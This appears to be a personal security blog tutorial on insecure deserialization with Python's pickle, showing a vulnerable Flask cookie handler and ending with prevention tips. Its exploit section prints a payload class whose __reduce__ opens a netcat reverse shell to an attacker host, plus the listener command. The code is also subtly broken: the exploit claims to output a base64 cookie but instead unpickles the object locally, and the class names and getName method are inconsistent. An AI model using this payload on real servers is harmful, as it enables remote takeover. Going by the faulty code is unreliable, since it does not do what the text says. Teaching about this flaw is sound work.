Yousif Dafalla

LinkedIn

[email protected]

Insecure Deserialization in Python



What is serialization and deserialization?


Serialization is the process of converting an object into byte stream. This is normally done to make it easier to store and transmit the object over the network. Deserialization is the reverse process, where the byte stream is converted back into the copy of the object. These processes are important for tasks like saving object states or transmitting objects over the network.

Implementing serialization in python

Python uses the pickle library to perform serialization and deserialization. Let's look at an example code from python:


			import pickle
			class user:
			    def __init__ (self,name):
				self.name = name
			    def getName(self):
				return name


			roger=User('Roger Federer')
			serialized=pickle.dumps(roger) 
			federer=pickle.loads(serialized) 


			#pickle.dumps(obj): returns a byte stream of the object
			#pickle.loads(ser): restores the objects from byte stream
				


Insecure deserialization in python

Insecure deserialization happens when the user controls the data to be deserialized by the web application. Below is the diagram that illustrates the danger of deserialization.




Let's look at an example where a web application uses the value in a cookie to construct a user object. Let's assume we have a Flask application that have a /user endpoint that creates a user object based on the value stored in a cookie. Here is the python code in the vulnerable web application:


			@app.route('/user')
			def user():
			    cookie=base64.b64decode(request.cookies.get('session'))
		            user=pickle.loads(cookie)
			    name=user.getName()
		            return f"The user for this session is: {name}"
				


In this example the vulnerable web application receives a base64 decoded cookie that stores the user object. The cookie is deserialized to identify the logged in user that sent the request. Once the cookie is deserialized the user object is constructed and we can identify the logged in user.

Exploitation

Since the cookie is user controlled the attacker can change the value of the cookie to perform an insecure deserialization attack. In order to successfully perform the attack, we will create a malicious user object, serialize it and then base64 encode it to be able to exploit the vulnerability. The resulting base64 encoded object can be saved in the session cookie when visiting the vulnerable website /user endpoint. Below is the exploit code that can be used to generate the malicious cookie object.


			import pickle
			import base64
			class User:
			    
			    def __reduce__(self):
			        import os
				return (os.system,('nc attacker_ip 4444 -e /bin/sh',))
				
			    def __init__ (self,name):
				self.name = name
			    
			    def getName(self):
				return name


			alex=User('alex')
			serialized=pickle.dumps(alex) 
			encoded=pickle.loads(serialized)
			print(encoded)


			#This script will print a base64 encoded object
			#The object will return a reverse shell to the attacker ip
			#On the attacker machine we shoud be listening on port 4444
			#nc -nlvp 4444
				


The exploit script will print a base64 encoded object. This object should be added to the session cookie when the attacker visist the vulnerable web application. The attacker will be listening on port 4444 for a reverse shell from the victime machine. In our exploit script we used the reduce method to make the server execute malicious code which will send a reverse shell to the attack ip. The reduce method is supposed to help reconstruct (unpickle) the object and more information about reduce can be found here.

How to prevent this

  1. Do not accept serialized data from untrusted sources
  2. Perform input validation
  3. Use alternative data formats (e.g. JSON)